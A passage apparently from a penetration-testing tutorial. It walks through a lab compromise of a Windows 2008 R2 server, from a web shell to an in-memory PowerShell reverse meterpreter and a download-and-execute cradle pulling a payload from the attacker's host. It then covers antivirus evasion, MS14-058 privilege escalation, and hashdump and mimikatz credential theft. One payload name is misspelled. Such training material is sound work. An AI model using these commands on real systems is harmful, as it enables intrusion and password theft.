So, we managed to upload our web-shell to a Windows web server. It is located at http://192.168.56.14/cmd.aspx. The first thing to do is to figure out which privilege level the web server is running:

1. Browse to the web-shell (http://192.168.56.14/cmd.aspx) and run the whoami command, as shown:

As you can see, our user is defaultapppool, from the iis apppool group, which is a very limited one in its default configuration.

2. Next, we need to improve our method of issuing commands. Let's use msfvenom to create a reverse meterpreter shell. We will use the server's own PowerShell to execute our payload in memory, without it ever touching the target's disk, making it difficult for antivirus and other protection software to detect it. To do that, our payload should be in PowerShell script format (-f psh) and we will save it directly to Kali's web root folder (-o /var/www/html/cutedolphin.ps1), shown as follows:

3. Once the payload is created, be sure that Kali's web server is running so the target can download the script: service apache2 start.
4. Now create a handler for the meterpreter connection. Open msfconsole in a Terminal and execute the following to adjust the parameters as per the payload:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.56.10
set lport 4443
show options

5. The handler configuration should look like the following screenshot. Check everything is correct and execute the handler (run); it will open the configured port and wait for a connection:

6. Once we have the handler running, we need to execute the payload in the server. To do so, go to the web-shell and set the Program to powershell.exe and the Arguments to -noexit -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.56.10/cutedolphin.ps1')) and click Run:

7. If the payload is correctly executed and the connection received, we will see our handler start a meterpreter session. Take note of the number assigned to the session, 1 in this case:

8. When running meterpreter on Windows hosts, we can use the getsystem command to easily escalate to System if the configuration allows it. As the following screenshot shows, it is not possible in this case; we also tried to dump the local password hashes but it didn't work. So we get the system information to look for a way to escalate privileges:

9. Use the background command to return to the Metasploit console and keep the meterpreter session running in the background.
10. We use the searchsploit command, and it shows very few exploits matching 2008 R2. Only one of them is local, meaning it can be executed from an existing session, and if we try it, it won't work because our target is already patched:

11. But we know it is very unlikely that there are only six exploits for Windows 2008 R2 in Exploit-DB. As demonstrated in the screenshot, if we use grep (grep "2008 R2" /usr/share/exploitdb/windows/local/*) to look inside the exploits' text, we will find more:

12. Now we need to select one exploit that works for our configuration. A somewhat efficient way of doing that is using the head command to look at the first lines of each candidate. For example, in the screenshot, we look at the first 20 lines of exploit number 40410 and we can see it exploits some software called Zortam Mp3 Media Studio, which is unlikely to be installed in our target. So we check another:

13. We keep looking until we find exploit number 35101, which exploits an internal Windows component and says it has been proven to work in our target system. It is also a Metasploit module, so we may find it in msfconsole and use our existing meterpreter session to trigger it. The next screenshot shows some key points:

14. Open msfconsole and search for TrackPopupMenu, part of the exploit's name. The one we are looking for is the one from 2014, windows/local/ms14_058_track_popup_menu:

15. Load and configure the module as shown below:

use windows/local/ms14_058_track_popup_menu
set payload windows/x64/meterpreter/reverese_tcp
set lhost 192.168.56.10
set lport 4444
set session 1

The final exploit configuration should look like this:

16. Run the exploit and see how it retrieves a new meterpreter session:

17. From this new session, we can verify it is running as a system (getuid). We can dump the password hashes of local users (hashdump), we can load meterpreter modules such as mimikatz, which allows us to recover clear-text passwords from the host's memory (kerberos, wdigest, tspkg), and we can perform many other Windows post-exploitation tasks, as illustrated: